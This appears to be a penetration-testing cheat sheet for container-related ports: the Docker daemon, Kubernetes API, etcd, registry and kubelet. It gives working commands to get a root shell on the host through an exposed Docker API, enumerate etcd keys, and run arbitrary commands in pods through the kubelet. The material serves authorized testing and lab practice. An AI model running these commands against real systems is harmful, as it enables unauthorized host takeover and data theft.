External attackers are typically looking for listening services. The list below is likely container related service ports and notes on testing/attacking them.
This is the default insecure Docker port. It’s an HTTP REST API, and usually access results in root on the host.
The easiest way to attack this is just use the docker CLI.
docker run -H tcp://[IP]:2375 info- This will confirm access and return some information about the host
docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host- From this post. This will drop you into a root shell on the host.
This is the default port for the Docker daemon where it requires credentials (client certificate), so you’re unlikely to get far without that. If you do have the certificate and key for access :-
docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=[IP]:2376 info- format for the info command to confirm access.
docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=[IP]:2376 run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host- root on the host
Typical ports for the Kubernetes API server.
Access to the
/version endpoint will often work without valid credentials (using curl), as this is made available to unauthenticated users.
kubectl --insecure-skip-tls-verify --username=system:unauthenticated -shttps://[IP]:[PORT] version- Test for access with kubectl
curl -k https://[IP]:[PORT]/version- Test for access with curl
It’s possible that unauthenticated users have been provided more access. You can check what permissions you have with
kubectl --insecure-skip-tls-verify --username=system:unauthenticated -shttps://[IP]:[PORT] auth can-i --list
In the event that you have create pods access without authentication, see attacker manifests for useful approaches.
The authentication model used by etcd, when supporting a Kubernetes cluster, is relatively straightforward. It uses client certificate authentication where any certificate issued by it’s trusted CA will provide full access to all data. In terms of attacks, there are two options unauthenticated access and authenticated acces.
You can try out this attack using Kube Security Lab, using the etcd-noauth.yml playbook here
A good general test for this is to use curl to access the
/version endpoint. Although most endpoints don’t respond well to curl in etcdv3, this one will and it’ll tell you whether unauthenticated access is possible or not.
If that returns version information, it’s likely you can get unauthenticated access to the database. A good first step is to drop all the keys in the database, using etcdctl. First you need to set this environment variable so that etcdctl knows it’s talking to a v3 server.
Then this command will enumerate all the keys in the database
etcdctl --insecure-skip-tls-verify --insecure-transport=false --endpoints=https://[IP]:2379 get / --prefix --keys-only
with a list of keys to hand the next step is generally to find useful information, for further attacks.
Generally the goal of attacking a Docker registry is not to compromise the service itself, but to gain access to either read sensitive information stored in container images and/or modify stored container images.
Whilst you can do this with just curl, it’s probably more efficient to use some of the registry interaction tools. For example
go-pillage-reg will dump a list of the repositories in a a registry as well as the details of all the manifests of those images.
You can try out this attack using Kube Security Lab, using the rwkubelet-noauth.yml playbook here
The main kubelet port will generally be present on all worker nodes, and may be present on control plane nodes, if the control plane components are deployed as containers (e.g. with kubeadm). Usually authentication to this port is via client certificates and there’s usually no authorization in place.
Trying the following request should either give a 401 (showing that a valid client certificate is required) or return some JSON metrics information (showing you have access to the kubelet port)
curl -k https://[IP]:10250/metrics
Assuming you’ve got access you can then execute commands in any container running on that host. As the kubelet controls the CRI (e.g. Docker) it’s typically going to provide privileged access to all the containers on the host.
The easiest way to do this is to use Cyberark’s kubeletctl. First scan the host to show which pods can have commands executed in them
kubeletctl scan rce --server [IP]
Then you can use this command to execute commands in one or more of the vulnerable pods. just replace
whoami with the command of your choice and fill in the details of the target pod, based on the information returned from the scan command
kubeletctl run "whoami" --namespace [NAMESPACE] --pod [POD] --container [CONTAINER] --server [IP]
If you don’t have
kubeletctl available but do have
curl you can use it to do the same thing. First get the pod listing
curl -k https://[IP]:10250/pods/ | jq
From that pull out the namespace, pod name and container name that you want to run a command in, then issue this command filling in the blanks appropriately
https://[IP]:10250/run/[Namespace]/[Pod]/[Container] -k -XPOST -d "cmd=[COMMAND]"
The kubelet read-only port is generally only seen on older clusters, but can provide some useful information disclosure if present. It’s an HTTP API which will have no encryption and no authentication requirements on it, so it’s easy to interact with.
The most useful endpoint will be
/pods/ so retrieving it using curl (as below) and looking at the output for useful information, is likely to be the best approach.
curl http://[IP]:10255/pods/ | jq